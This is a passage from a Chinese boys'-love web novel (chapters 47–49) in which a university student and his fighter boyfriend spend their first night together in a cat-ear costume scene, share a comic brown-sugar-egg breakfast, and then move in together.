祝闻声并不着急,很有耐心地将袋子里的玩偶分门别类地放好,里面的水声也恰好消失了。他又等了一会,估摸着陶真应该已经穿好衣服了,便伸手再次敲了敲。 这次终于听见门内的声音了。少年的语气急促慌乱,一把清朗的嗓子变得意外沙哑绵长:“等、等一下!” “?” 祝闻声抿唇:“是出什么事了吗?” 陶真的声音很不对,是被锁在浴室里出不来了,还是因意外踩空滑倒了? “没、没有,什么事都没有……你等我一下下,马上!” 说到最后,门那头的少年忽然短促地惊叫了一声,绵长的尾音有些许说不出的甜腻,可祝闻声无暇顾及,脑海里闪过数个不妙的猜测,心脏也情不自禁地拎到了嗓子眼。 他有些等不住了,刚想要尝试一下是否能用蛮力开门,下一刻,就忽然感觉手上力道一松,房门大开。 如银河一般流淌着璀璨光芒的灯光倾泻而下,将少年蓬松的金发照得极为耀目,也显得那两只藏在发丝中的、毛茸茸的猫咪耳朵格外生动。 猫咪……耳朵? 祝闻声有一瞬间的怔愣,几乎怀疑自己是不是眼花、出现什么幻觉了。可陶真白皙的小脸除了染上几分红晕之外却一如既往的漂亮,那双乌溜溜的黑眸里酝着些许水光:“都、都跟你说了等一下啦……” 他磨磨蹭蹭地从门后走了出来,绞着手指:“我的尾巴还没弄好呢,现在都要掉了。” 祝闻声彻底愣住了。 闯入视线的是一个有着猫耳、猫尾的金发少年,上身穿着雪白、带着蕾丝花边的小衬衫,下身则是一条圆滚滚的南瓜裤,大腿上绑着衬衫夹,溢出一点颤颤巍巍、如同奶油似的软肉。 手上套着半指手套,掌心有一团软弹的肉垫。跟他脚上他套着的白色长袜是同款。料想,他的足心应该也藏着一模一样的粉色。 “呐,最后一个礼物就是我啦!” 少年仰起小脸,笑眯眯地问:“祝闻声,你喜不喜欢呀?” “啪嗒”一声,两大袋玩偶落地。 祝闻声却好像一尊雕塑一样站在原地,半晌没有任何动作。 “……” 渐渐地,陶真有些不自信了,忍不住低头打量了一眼自己。 是不好看吗?还是祝闻声不喜欢这种嗲兮兮的东西?为什么祝闻声一句话都不说? “好吧,没关系的,你、你不喜欢的话就算了……” 陶真有些讪讪地弯下腰,想要将地上的两大袋玩偶捡起来,下一秒却感觉眼前天旋地转,被人拦腰抗抱了起来。 他忍不住惊呼,真跟只炸毛小猫似的蹬了蹬腿,立刻就感觉被一只大手握住了脚心,捏了捏粉嫩的肉垫:“……没有不喜欢。” 祝闻声开口,陶真才听出他的声音沙哑,简直像是压抑到了极点:“很喜欢……喜欢到不知道该怎么反应了。” 一瞬间,只感觉血液冲上头顶,连鼻腔都在发热,一股难以言喻的破坏欲涌上了心头,像是某种身体被可爱过了头的保护反应。 他好不容易,才忍住把陶真一口吃掉的冲动。 “哦……”鲜少听见祝闻声这么直白的话,陶真摸了摸鼻尖,心头涌上一股后知后觉的窃喜:“那你现在知道了吗?” 祝闻声抱着陶真走到床边,轻手轻脚地将人放下,旋即自己也抬腿坐了上来,低声问:“你觉得呢?” 在这样的时间,这样的地点,两人之间的距离无限逼近,无疑是一种很危险的信号。在有经验的人看来,接下来要发生的事情已经是昭然若揭。 陶真虽然并不清楚这其中的弯弯绕绕,可心脏不自觉地加快。他凭靠着动物的本能直起了上半身,伸手搂住了祝闻声的颈弯。 他喜欢祝闻声。 祝闻声也喜欢他。 他们互相喜欢这么长时间了,之间的关系,也的确应该更进一步。 “我觉得……” 陶真鬼使神差地开口,头顶毛茸茸的猫耳一动一动:“或许,我应该履行一下金主的义务了。” 47 ? 第 47 章 ◎你俩生孩子坐月子啊?◎ ——履行金主义务。 这几个字一出, 房间内的温度迅速上升,仿佛有什么看不见的热潮席卷了四周。祝闻声的呼吸一滞,浑身的血液在此刻凝结, 又迅速沸腾。 他闭了闭眼,忍住胸口那股汹涌的冲动, 给了陶真最后一次逃跑的机会:“真宝,是我想的那个意思吗?” “你确定吗?” 一定……一定要把话说得这么清楚吗? 青年的声音又哑又磁,仿佛能蛊惑人的心神。金发的猫耳猫尾少年蜷缩在床上, 脸腾地一下红了起来,感觉自己似乎误入了什么二人电影的场面。 他实在是没这个脸一字一句地重复确认, 只好鼓起勇气抬起手,一把搂住了祝闻声的后颈,凑过去蜻蜓点水地吻了一下。 “是呀。” 陶真想,既然祝闻声这么开心、这么主动。 那么, 他也该履行自己作为金主的义务了。 他可以, 为爱当1。 “……” 闻言, 祝闻声似乎再也忍耐不了了,翻身将陶真囚在怀中, 灼热的呼吸和滚烫的吻铺天盖地、雨点似的砸了下来。 “这是你说的。” 陶真只感觉眼前一暗,下一刻自己的唇缝就被人撬开, 凶狠地攻城略地。他的呼吸完全被人攫取,舌尖被缠绕追逐,上颚擦过一阵酥麻的触感,别的地方自然也没有被祝闻声放过。 唇角,鼻尖, 眼尾, 耳垂……各处似乎都被祝闻声亲了个遍。密密麻麻、濡湿的唇印一下又一下地落下来, 好似要将整个人都溺毙在这种温柔当中。就连他头顶的猫耳都被人一下又一下地拨弄着,仿佛手感很软弹Q糯似的。 虽然很舒服,但陶真还记得自己的职责。 于是,在被亲得目眩神迷、只能勉强后退换气的时候,他忍不住伸出那只带着肉垫的手拦了一下祝闻声,努力捍卫自己金主尊严: “这当然是我说的……好了阿声,你不许乱动,你的手都还没好……接下来的事该轮到我了……” 祝闻声放在少年白蕾丝衬衫上的手一顿,喉结情难自禁地滚了滚。 什么叫做“该轮到我了”? 难道说……陶真喜欢在上面? 脑海中闪过这个念头的瞬间,祝闻声硬生生地克制住自己的身体本能,顺从地被陶真推靠上床头,红肿的手臂放在一边,仰躺。 而陶真则深吸了一口气,哆哆嗦嗦地□□,跨坐在他的腰腹上,一边居高临下地望着他,一边伸手磨磨蹭蹭地解领口的蝴蝶结。 “你、你别着急啊,我动作稍微有点慢……” 金发少年的半指手套中心还带着粉嫩嫩的肉垫,随着动作若隐若现的,简直就像是一只幻化成人形的小猫妖。 明明什么也没做呢,“人类书生”祝闻声却感觉自己的魂都要被勾完了,呼吸急促地托住陶真的腰微微往后,令他抵靠上那片滚烫,低声说:“好,我不着急。” 这恐怖的,庞然大物…… 陶真的手一滑,差点一骨碌跳起来。 他咽了一下口水,勉强保持着镇定,继续着自己的动作,脱掉了身上那件质地柔软的蕾丝衬衫,霸气地将那件衣服甩到了一边,纤细单薄的上半身只着一件到腰上端的白色小背心。 衬衫夹倒是没有随之松开,纯黑色的环围着大腿根绕了一圈,掐得那里的软肉有些细微的发红。 俨然是一副适合被人好好欺|负的模样,却偏偏要故作镇定地对祝闻声说:“那,那我先亲亲你……” 祝闻声的额头上沁出了些许汗珠,垂落在身体两侧的手臂也用力绷紧,青筋线条凸起,一路延伸。 他身上的肌肉有些充血,薄薄的长袖被饱满的胸肌和腹肌绷得很紧:“嗯,好。” 其实陶真的亲吻是一种折磨,即使两人已经接吻了好几次,他却还是如同第一次那样笨拙,只会用啵啵来表达自己的喜爱,简直像小动物一样纯情乖巧。 先亲亲祝闻声的眉心,又去碰碰祝闻声的鼻尖,最后两人的唇瓣才紧紧相贴。 明明两个人之间甚至还保持着一个相当有礼貌的距离,陶真却感觉自己做了什么很了不得的事,心脏扑通扑通地跳。 怎么样? 他这个流氓是不是表演得很到位? 是不是完全就是各种影视作品中霸道金主的形象?! “……” 不知为何,跨坐在身上的金发少年忽然不亲了,反而有些骄傲地挺直了脊梁,藏在金发里的猫耳一摇一晃。 身后那根不是很稳定的猫尾巴也在乱动,毛茸茸的尾巴尖垂下,轻飘飘地挠了一下祝闻声的小腿。 祝闻声真的快涨疼到难受了。 但他顾念着少年的自尊心,和“喜欢在上面”的癖好,还是勉强清了清嗓子,哑声问:“不继续了吗?” 陶真这才猛地回神,有点手忙脚乱地直起身子:“当然要继续!” 两人一个坐,一个躺,隔着不远不近的距离,视线交织在一起,祝闻声的目光灼热滚烫,静候下文。 “不过,接、接下来的事情,可能会有一点点痛。” 陶真故作镇定地吞了下口水,“你不要担心,我、我这个人,一向都是十分温柔的……” “轰”地一声、仿佛惊雷炸响。 祝闻声几乎怀疑自己听错了,双手拢住少年的腰,慢慢收紧:“什么?” 陶真凭着小动物的直觉感觉到有些危险,可还是硬着头皮、呆呆地重复了一遍:“我会温柔一点,不会让你疼……” 话音未落,他就感觉自己被拦腰抱起,眼前一阵天旋地转,两人的位置瞬间调转。 黑发黑眼的俊美青年居高临下地凝视着他,大约是难以置信到了极点,漆黑的眸里竟然含着点笑意:“真宝,这句话应该由我来说吧?” “……” 陶真一脸呆滞:“……啊?” 一根弹簧往下压,松手时会回弹;如果往下压狠了,回弹就会比一开始更加强烈。 祝闻声也一样,他是为了陶真的喜好才硬生生地忍耐到了现在,却没料到少年的脑回路与他毫不相干,于是便不再等待,任由汹涌的情绪反弹: “真宝,让我亲亲你好不好?” 只是亲亲而已…… 陶真懵懵地点头:“嗯,好。” 局势调转,不同于陶真那轻飘飘、犹如蜻蜓点水般的亲吻,祝闻声的每一下亲吻都是实打实的,会落下嫣红的吻痕。尤其是在金发猫耳少年的脸蛋、锁骨,肩膀皮肤都很白的情况下,他犹如宣纸,点点痕迹便如梅花落雪。极为漂亮。 陶真自己却是看不到这些、也意识不到这一点的,他只能迷迷糊糊地感觉到自己好不容易才夹在头发里、好不容易才和裤子固定在一块儿的猫耳和猫尾似乎要掉了,忍不住惊呼:“我的耳朵!还有尾巴……” 少年忍不住抬起腿蹬了一下,试图一个鲤鱼打挺,去地上寻找自己用来固定的夹子。 可是下一刻,一只大掌就隔着薄薄的一层袜子捏住了他的足心,轻轻地捏了一下那粉嫩嫩的肉垫。 “找不到就不找了,”祝闻声说,“没关系。” “可是……” 陶真仍然没有死心,伸出细白的胳膊往旁边够。 祝闻声不知该如何向他证明自己喜欢的并不是猫耳和猫尾,而是戴着这些东西的少年,深深地呼出了一口气。恰好视线落到掌心,他鬼使神差地低下头,轻轻地咬了一口。 “……” 陶真果然不再纠结那该死的猫耳了,整个人像被施了定神咒一样呆在原地,片刻后才听见祝闻声压抑低哑的声音:“真宝,可以继续吗?” 这可是祝闻声啊…… 陶真还在恍惚:“可以。” 不知不觉中,一旁的床头柜被打开,几样物品被拿了出来。 “撕拉”一声,是塑料袋被撕开的声音。 陶真猛地回神,后背发麻,像手足无措的小动物一样,往旁边退了几步,拉开了和祝闻声之间的距离。 他可怜巴巴地盯着自己膝盖处有点潮湿的南瓜裤,以及自己被摩擦到发红发肿的腿根。 “阿声……” “嗯?” 陶真迷迷糊糊地,声音里带着些许哭腔:“不是说,不是说我来履行义务吗?” 祝闻声“嗯”了一声,慢条斯理地低头吻他:“这就是义务。” “……” 也许是刚刚换衣服的时候太着急了,窗户和窗帘没有完全拉好,此刻,一股寒风吹来将那窗帘卷起,露出窗外绚丽的夜景。 夜幕低垂,繁星点点。曼城的万家灯火朦胧闪烁,如钢铁森林般坚硬陌生。 彼此相贴的两人却无比滚烫,比以往任何一刻都要触及彼此的灵魂。 …… …… 翌日上午。 阳光从窗帘窗户的缝隙照射进来,依稀洒满了房间中的角落,曼城的街道格外热闹,甚至可以听到从楼下传来的喧哗声,可卧室内却格外寂静,宽大的床上躺着两个人。 放在一旁的手机闹钟响了,被一只落满青青紫紫吻痕的手臂摁灭。一颗金发蓬松的脑袋冒了出来,迷迷糊糊地看了眼时间:十点三十一分。 睡了大概……七个小时。 陶真又累又困,浑身疼得要命,这会更是连眼皮子都在打架,下意识地想继续睡,可是一闭上眼,昨天晚上的记忆如同潮水一般涌来冲刷着他的脑海。 想要找猫耳和猫尾怎么也找不到,后来发现这两个东西被无情的扔到了地上。手上的半指手套,也因为碍事丢到了一边,只有衬衫夹和袜子从头到尾都好好的呆在他身边,没有出逃。 ……可是这俩东西还不如早早扔到一边呢! 陶真彻底清醒了,腹诽着爬起来,却感觉浑身牵扯着疼。刚好被子从身上滑落,他干脆龇牙咧嘴地掀开看了一眼。 露出来的半截小臂上都是吻痕,掩盖在被子里的其他地方也不遑多让,看得出这些痕迹的始作俑者到底有多么恶劣。 大腿也好,小腿也好,脚尖也好……总而言之,只要是身上能碰的地方,就没有一个地方是被漏掉的。 陶真又忍不住“嘶嘶”抽了口气,他甚至都怀疑祝闻声是不是有什么奇奇怪怪的神秘食人族血统,要不然怎么会对把他吃下去这件事情情有独钟呢? 不过食人族祝闻声现在还没醒——这也是正常的。他昨天白天先是打了一场消耗巨大的格斗赛,之后和陶真……这也就不提了,总之这件事也是他出力。 且等陶真迷迷糊糊地闹着要睡觉的时候,还是他抱着陶真去卫生间洗澡清理,顺便收拾干净了地上那一片狼藉,打包了垃圾桶里那些乱七八糟有点不太能见人的东西……这工作量可不算小,祝闻声恐怕凌晨四五点才正式入睡,这会儿也就休息了五六个小时。 明明他搭在外面的小臂还红肿着呢。 拖着还没痊愈的身体,做了这么多事。 陶真的羞耻和心头莫名的躁动不由地散了许多,取而代之的是密密麻麻、一阵阵涌上来的心疼。 虽然“履行金主的义务”这件事情和他想象当中的不太一样,在祝闻声面前他根本没任何当1的余地,也跟威武霸气这几个字差了十万八千里……但是这没什么关系。 他依然是个男人。 应该承担起一个男人的责任,像陶大俊以前教育他的那样,呵护、照顾自己伴侣! 想到这里,陶真深吸了一口气,忍住自己四处抽痛的身体、锤了锤被咬出好几个牙印的腰窝,轻手轻脚地掀开被子下了床—— 好痛! 为什么屁股这么痛?! 陶真的眼泪差点掉出来,简直像是被烫到了一样站不稳,不仅如此,脚心还开始抽抽。 他倒吸一口凉气,不明白为什么会这么疼,之后才想起昨晚被祝闻声面对面抱起来的姿势。他本来柔韧性也算不上太好,靠自己根本动不了,又害怕掉下去,最后只好跟八爪鱼一样盘在祝闻声身上…… 大概,就是那个时候扯到腿筋的。 振作一点啊陶真,你可是个男子汉! 勉强将眼泪憋回去,陶真咬住下唇,一鼓作气地跳到行李箱边,慢吞吞地找到几件衣服套上。 他不想吵醒祝闻声,便掏出手机在外卖软件上买了些东西。因为加的价格很高,所以外卖员接单也很快,不多时东西就已经送到了门口。 陶真道了谢,小心翼翼地接了过来,颤颤巍巍地回到房内,轻手轻脚地打开了袋子。 不多时,床上的祝闻声也苏醒了。 空气中飘来一阵浅淡的甜香味,似乎有人正小火煮着什么东西,时不时传来细微的动静。 他掀起眼,看见了背对着他、站在不远处桌边的陶真,有些微的诧异。 没想到陶真竟然起的比他早。 昨天到后来,金发少年几乎是眼泪汪汪地挂在他脖颈上,求他不要再弄了,哭唧唧的样子极可怜。陶真平常不怎么锻炼,别说在上面自己动了,就是全程躺着当枕头王子,也承受不了太多,所以祝闻声全程都收着力气。 不过,说到底,两人都是第一次,尺寸也……稍微有一点点不匹配,祝闻声还是觉得自己不小心伤到了陶真,所以昨天帮他清理洗漱的时候就去24小时药店买了药膏回来给他涂,只不过那时候的陶真已经完全没有意识了。 简单利索地套上衣服下床,祝闻声走到陶真身边,低声问:“怎么不多睡一会,身上还疼不疼?” 陶真似乎完全没注意到他醒了,悚然一惊,像踩到尾巴的猫一样跳了起来,险些将手里的东西打翻。 还好祝闻声眼疾手快,帮忙托了一把,又细心地替他擦干净溅到手上的褐色水珠。 ……褐色水珠? 祝闻声皱了皱眉头,不知为何,心中忽然浮现了一股奇妙的预感,他低头看向陶真手中盖着盖子的小奶锅:“这是什么?” “啊,你醒了呀。” 见东西没洒,陶真松了口气,笑着揭开了盖子,高兴地说:“这是我为你准备的早饭,你快趁热吃吧!” 弥漫的白气从锅沿飘散出来。 定睛望去,一锅香甜的红糖水里,放着四个打得极漂亮的荷包蛋。 “……” 祝闻声沉默了,半晌才说:“红糖鸡蛋?” 陶真兴高采烈地说:“嗯!” 祝闻声闭了闭眼,声音略微有些艰涩:“……你是怎么想起来做这个的?” “啊,因为我小时候在村子里就听姨奶奶她们说,吃这个最补气血。” 陶真歪了歪脑袋,语气坦诚,脸色略微有些苍白、浑身都是吻痕,还在不经意间捏了捏自己抽疼的大腿根,神色却一本正经, “你昨天那么辛苦,应该好好补一补。我买了一斤红糖和一板土鸡蛋……等这四个蛋吃完,我再给你加!” 祝闻声的眉心跳了跳,抬眼看了一眼面前神色极为期待的金发少年,很想张口说些什么,最后却又咽了下去:“……谢谢。” “那,你和我一起吃吧?” 陶真弯起眼,没有拒绝祝闻声与他亲近的提议:“好呀,那我们一起吃。” 热气腾腾的小电锅推到面前,祝闻声“嗯”了一声,跟陶真一起慢慢拿起了筷子。 红糖鸡蛋……就红糖鸡蛋吧。 这没什么,也挺好的。 这还是陶真亲手做的呢,真的很厉害。 不仅红糖放的刚刚好,每个荷包蛋打得特别完美,四个都圆溜溜、胖嘟嘟的。 …… 十一点半,团队里的人差不多起来了,在群里叽叽喳喳地嚷着要吃饭。 黎旻懒得下楼去餐厅,便让每个人把点外卖的截图发到群里,由她统一报销。 然而她在群内扫了一眼,挨个发完钱,却没找到陶真和祝闻声两人的,感觉有些奇怪,便打开跟祝闻声的私聊。 【黎旻:你们俩的呢?就算昨天颠鸾倒凤了,这个点也该醒了,中午打算吃什么?】 屏幕那头的人半天也没回复。 黎旻百无聊赖地等了一会,喝了口水,还没咽下去就看见了对面发来的一张图片。 她点开看了一眼,“噗”地一下把嘴里的水全喷了出去。 【黎旻:祝闻声你俩速度这么快?一晚上就把孩子生下来坐月子啊??一个人吃八个红糖鸡蛋???】 48 ? 第 48 章 ◎祝闻声的本体其实是个亲亲怪吧?◎ 一晚上就把孩子生下来坐月子。 一个人吃八个红糖鸡蛋。 身侧的祝闻声忽然不说话了, 定定地看着屏幕上的消息,渐渐地,捏着手机的指尖有些用力, 相当沉默地闭了闭眼睛。 陶真不免有些好奇地凑了过去:“怎么啦?谁给你发消息?” 祝闻声这才掀起眼皮,低头把拉黑页面截屏发给了黎旻, 淡淡地说:“没什么,一个不认识的人。” “……” 虽然说是“不认识”,但到中午吃完饭后, 黎旻作为俱乐部的领头,还是忙起了他的采访和商务活动, 以及他之后对接俱乐部、签约UFC的各种事项。 祝闻声自己作为中心人物,自然也忙得脚不沾地,好不容易挤出时间,却没能跟陶真继续温存。 原因无他, 这段时间并不是周末, 陶真的课表有好几节只有一个班同学上的小课——老师一眼就能看出讲台下少了哪几个人的那种。 陶真为了不因为翘课而被扣平时分, 向辅导员请了假,结果现在假条上的时间到了, 课假又不允许续,他没了招, 只能臊眉耷眼地跟祝闻声说再见,买好了回南城的飞机票。 彼时祝闻声有些沉默,片刻后才问:“如果能跟你们院的辅导员说一声,让他帮忙续一下课假……” “不可能的,我们辅导员特别不通人性, 还是让我已经过世的太爷爷又过世了一次, 他才同意给我批前两天的假, 如果还要再续的话……”陶真冥思苦想了一阵子,灵光一现,“哦,我还有个前两年过世的二舅姥爷。” “……” 虽然有些心动,但想到被陶大俊揍的风险,陶真犹豫了片刻还是放弃了:“算了,还是让二舅姥爷安息吧。” 祝闻声失笑,片刻后才揉了揉眉心:“其实不用那么麻烦,我可以跟你们辅导员打个电话……” “嗯?” 金发少年仰起头,亮晶晶的眼睛里是单纯的疑惑。 祝闻声的动作一顿,片刻后才放下了手,若无其事地将到嘴边的话咽了下去:“……没什么,我可以早点回去见你。” 陶真眨了眨眼:“好呀。” 虽然觉得祝闻声的语气有些奇怪,可他并没将这件事放心上,猜测也许是因为自己来去匆匆,让祝闻声有些依依不舍了,便又哄了他好一会才去乘飞机。 一通颠簸周折的路程过后,陶真终于回到南城,销了假后,将祝闻声给他买来的大老鼠纪念品分了一些给贾嘉和白宇轩他们。 没想到能收到礼物,众人都相当开心,贾嘉更是抱着那只奇丑无比的大老鼠亲了又亲,差点挂在陶真身上,喋喋不休地和他分享着这几天学校里发生的事情。陶真自然也与她讲了自己在曼城看到的格斗比赛,引起了少女的一阵阵惊呼。 不过他没好意思讲比赛之后发生了什么,只含糊其辞地带了过去,还是收获了少女意有所指的迷之微笑。 陶真险些涨了个大红脸:“……反正…总而言之,我请的假结束就先回来了,我男朋友还在曼城。” 贾嘉挑了挑眉,长长地“哦”了一声,又啧啧道:“没关系的真宝,小别胜新婚,等你男朋友回来之后……” 陶真的脑海里迅速闪过了祝闻声那只极具力量感、青筋微微暴起的大手,以及自己发颤的小腿肚。 他脑袋“嗡”的一声,恼羞成怒道:“嘉嘉!” 少女大笑,刚好这时候这节课的老师走上了讲台,让同学们把书打开翻到他上次讲的页数,贾嘉才双手合十向陶真求饶。 陶真也不好意思多生气了,搓了搓自己发烫的耳朵,也跟着她一块翻开了书本。然而这种事情,向来都是说者无意,听者有心,之后贾嘉已经完全忘记了自己说过的话,陶真却还忍不住在想。 难怪祝闻声当时想要让他再续几天假呢,现在他也好想回到那个时候,找个理由再请一次假,这样就可以留在祝闻声身边了。 也不知道祝闻声手臂的伤有没有好,也不知道他在那边有没有好好吃饭,如果没有自己,谁给他做红糖鸡蛋吃? 明明才刚分开没多久,陶真就感觉自己已经开始想念祝闻声了。 好不容易才捱到下课,趁着课间休息的工夫,找了个安静的地方给祝闻声打了个电话。 那头的青年立刻接了起来。 祝闻声似乎才刚刚结束一个采访,身边还有不少人叽叽喳喳、聊着赛事赞助的事情,被他一个手势喊了停。 四周安静下来,他的脸色冷淡矜贵,仿佛天生带着上位者的气息,侧过脸时却柔和下来:“真宝,上完课了?” 陶真无意识地扣了扣自己的衣角,鼓了鼓脸:“……嗯,上完了。” 等待了几秒,空气沉寂,金发少年没有像往常那样叽叽喳喳地跟他分享自己刚刚遇见的事情。 祝闻声微微眯起眸,低声问:“怎么了,不开心吗?” 陶真微微一怔,细微的情绪被人轻柔地接住,紧随其后的就是莫名的羞耻。在与祝闻声的关系变得不一样之后,他突然感觉自己似乎多了许多难以形容的小情绪,是从前绝不会对旁人产生的。 他忍不住低下头用脚尖踢了踢地面:“不是,没有不开心……” “就是有点想你了”这几个字就在嘴边,即将要出来,他却感觉自己的脸渐渐涨红了起来。 祝闻声很耐心,低声反问:“真的没有?” ……其实是有的。 陶真刚想说自己后悔那时候没听祝闻声的话、想与他早些见面,就听见电话那头响起了一声黎旻的呼唤:“哎!祝闻声你大爷的,别摸鱼了,快点过来,我这电话都要催死了——” 他张了张嘴,最终还是若无其事地说:“真没有,我你还不知道吗?哪里会不开心呀!你去看看黎旻姐怎么了吧,我感觉她好着急呢……” 祝闻声扭头看了眼黎旻,旋即继续对电话这头说:“好吧,那我就继续去忙了,我也想早一点把手里的事情做完。” “如果一切顺利的话,我大概三天后到南城。” 他像是明白陶真想说的究竟是什么:“我也想你了。” “……” 陶真精神一振,忍了又忍,还是没忍住笑起来,露出俏皮的小虎牙。 他心里软乎乎地发烫,将刚刚的思绪抛之脑后:“好!那我到时候去接你。”- 这两天时间几乎一晃而过,祝闻声回来的那天刚好是周日。 陶真早早和司机一块儿到机场等着,不多时就看见一帮熟悉的面孔浩浩荡荡地走了出来。 众人刚忙完放假,所以都不着急在这个时候回俱乐部,各自打车回家,就连黎旻也不例外。不过她在离开前将祝闻声喊到跟前来,脸色严肃地说了些什么。 离得太远了,陶真听不清,只能看见她的嘴巴在动,便赶忙打开车门跳下去,想要帮祝闻声拿箱子。 祝闻声抬眼看见他,便冲黎旻点了点头结束了话题,向陶真迎了过去,没让他拿重物,自己把东西搬进了司机帮忙打开的后备箱里。 之后两人一块上了车,陶真想给祝闻声擦汗,便一边在车上东摸摸西摸摸找纸巾,一边好奇地问:“黎旻姐刚刚跟你说什么了呀?” “没说什么。” 车上的纸巾用完了还没来得及放,最终还是祝闻声从口袋抽了张湿纸巾出来,细细地替陶真擦着手:“我们去曼城的这些天,她请了装修队来把二楼的宿舍地板和墙面重新装修,但没想到施工出了些问题,到现在都还没结束。” 其他拳手现在都已经去外面住酒店了,她自然要提醒祝闻声也别在里面多待。毕竟装修的时候不仅非常吵,施工板材堆得乱七八糟,而且还有很浓的甲醛。 “啊?怎么会这样?” 陶真一瞬间忘了自己原本打算做什么,手擦干净之后就和祝闻声十指相扣在一起,眉宇间满是担忧:“这种宿舍肯定不能住了呀,你家……” 话没说完,他立刻想起祝闻声甚至都没有和父母在一起过年,恐怕家里的景况也是十分不如意,便及时闭上了嘴,没有继续往下说。 “那你现在打算住哪里?” “还没想好,可能等下找个附近的酒店。” 陶真抿了抿唇。 对祝闻声的心疼弥漫开来,与其十指相扣的手指也微微用力,一个很早以前就有的念头重新浮现在了脑海里,比刚开始出现时的更为坚定,也更为强烈。 他忍不住脱口道:“你别去找酒店了,我家有一个空房间,你搬过来跟我住吧?” 祝闻声怔在原地,平稳的呼吸忽然变得有些粗重,心尖一阵滚烫发痒。 他垂下眼,黑眸里酝酿着些许陶真看不懂的意味,那只大掌变换了姿势,几乎将陶真的整只手都包进去。 可能是他沉默的时间略微有些久了,原本笃定的陶真忽然有些许不自信地咽了两下口水:“真的呀,其实住在我家才是最合适的,虽然离俱乐部稍微有点距离,但不算太远,通勤很方便。” “也不用担心住在酒店被人拿走东西,而且还不用花钱,”陶真卖力地推销着自家房子的好处,甚至把手从祝闻声掌心里抽出来,一条一条地掰手指,“还可以天天见到我,再说了,我们现在本来就已经是情侣了呀,一起住也是很正常的……” 说到最后,他忽然感觉身体一重,好不容易抽出的手再度被牢牢攥紧。 祝闻声俯身靠了下来,低声说:“可我不想住那个空房间。” 周遭的空间骤然变得狭小,两人的呼吸交缠在一起,温度难以避免地上升。 陶真直直地撞进了一双黑沉沉、却蕴着浓欲的眼,不由自主地咽了下口水:“…那我跟你换,你去睡主卧?” 祝闻声依然沉默着,只是下一秒,就捏住陶真的下巴重重地吻了上来。 祝闻声的唇瓣潮湿火热,舌尖也烫得要命,大约是融会贯通了格斗的知识,在接吻时也喜欢攻城掠地、极其强势。 然而陶真却并不像他的对手一样紧张害怕,甚至还努力迎合他,迎合到呼吸都有些困难,黑润润的眼底也罩了层朦胧的水雾。 良久,一吻毕,祝闻声斩钉截铁地下了结论:“一起睡吧。” 陶真欲盖弥彰地抹了一把红彤彤的嘴巴,感觉到一阵发涨的酸麻,呆呆道:“哦,好。” 照祝闻声这么个亲法,他的嘴唇没有破皮真是个奇迹。 一句话不说就亲下来,跟那天晚上一样,一晚上恨不得亲十好几次。祝闻声的本体其实是个亲亲怪吧? 49 ? 第 49 章 ◎【我的CP同居了,你们的CP呢?】◎ 然而, 腹诽归腹诽,扭头对上车窗倒影时,陶真才发现, 自己的唇角不知何时勾了起来。 身后倚靠着的青年身体滚烫,心里也热乎乎的, 前两天莫名的焦虑和烦躁灰飞烟灭。 亲亲怪就亲亲怪吧。 反正他也喜欢亲祝闻声。 既然已经决定好要一起到陶真家里睡,那么转移衣物和生活用品是不可避免的。他们先回了一趟陶真家,将祝闻声这些天在曼城的东西收拾了一番, 之后才出发去Light俱乐部。 顾虑到祝闻声的胳膊还没完全恢复,陶真本想和他一块上楼收拾行李, 但室内的装修正进行得如火如荼,建筑垃圾随地都是、尘土漫天乱飞。祝闻声便哄小孩似的让陶真在门口等着。 “好吧……” 陶真自知自己对祝闻声的宿舍不太熟悉,恐怕进去也帮不上什么忙,便没有逞强, “那你带点喜欢的东西就好, 衣服我之后给你买新的, 生活用品什么的也可以等会儿去超市买。” 祝闻声点头应声,进去简单打包了一箱行李便出来了, 前前后后不过花了二十分钟的工夫。 陶真想要凑过去帮他接箱子,不出意外地被避开了, 虽然祝闻声的小臂前段时间受了伤,但瘦死的骆驼比马大,这点东西对他来说实在算不上什么。他轻轻松松地将箱子放到后备箱,掸了掸自己身上的灰尘,才重新跟陶真一块上车。 车辆驶往附近最大的商超, 司机去停车, 二人乘电梯上了楼。 上次两人一起逛超市还是在过年的时候, 且不提超市里人潮拥挤、摩肩接踵,买个东西都跟抢似的,回去还得面对着与祝闻声初次见面的陶大俊,简直毫无逛街体验。 这次他们就不用像之前那么着急了,在门口拿了辆小推车,慢悠悠地从入口晃进去,看向货架两侧琳琅满目的商品。 头顶暖黄色的灯光温柔地倾泻下来,四周隐隐响起乐声,身边经过了一对同来采买的新婚小夫妻,交谈的声音有些大。 “家里的卫生纸好像要用完了,再买一点吗?” “好呀,买这个牌子的吧……对了,冰箱里的水果也吃完了。” “那我们就再买一点吧。再买一点可乐和薯片怎么样?” 连走路都靠在一块的小夫妻渐渐远去了。他们聊的都是没什么营养的家常话题,面容身姿也再平凡不过,好似人海中随处可见。 可祝闻声却忍不住盯着他们的背影看了几秒,直到自己的指尖被人轻轻勾住,他才下意识地扭过头。 金发少年眉眼弯弯地牵着他的手晃了晃:“阿声,发什么呆呢?” “我们要买牙刷牙杯、毛巾拖鞋,衣架……还得买点食物给冰箱补货,不然回去都没东西吃。” “哦!这两天家里的沐浴露也要用完了,我还没来得及买,等下可别忘了……” 祝闻声遽然回神,捏紧陶真的手,黑眸安静地落在他身上,胸膛里滚过一阵热浪:“……好。” 想了想,又添了一句:“不会忘。” 他们和那对再普通不过的情侣一样,推着小推车在货架间穿梭,买完必需的生活用品,就去冷藏食物柜里扫货,将推车里堆得满满登登的,方才走到自助收银机口。 祝闻声一样一样地将东西拿出来扫码核对,陶真则在一边用袋子帮忙装,视线不经意地扫过收银机旁边挂着的一个小货架时,瞬间定住了。 家里是没有这样东西的。 虽然那天最后,也不知道是这东西没了,还是祝闻声懒得再拆开,他们没有用,但那套清理的流程实在是麻烦。为了方便起见,最好还是买一点。 不过,拿这个东西,未免也太羞耻了。 尤其是跟祝闻声一块的时候拿,总有一种暗示的意味…… 陶真的耳垂发烫,低头迅速地瞟了一眼祝闻声,情不自禁地咽了下口水,抬起手胡乱地拿了一盒。 趁着祝闻声转身拿东西的时候,他遮遮掩掩地用条形码对准扫码口,做贼心虚似的,将那盒东西扔到了塑料袋里,藏到了最底下。 心脏砰砰直跳,脖颈和脸颊似乎也渐渐热了起来,陶真悄悄伸手给自己扇了扇风,又偷看了一眼祝闻声的脸色。 见祝闻声没什么反应,神色如常地将所有东西都扫完码、装好袋,他才松了口气,若无其事地凑到屏幕面前:“好啦,我来结个账……” 祝闻声却忽然打断道:“等一下。” 陶真的身体微微一僵,因心虚而下意识地舔了舔唇:“怎、怎么了?” 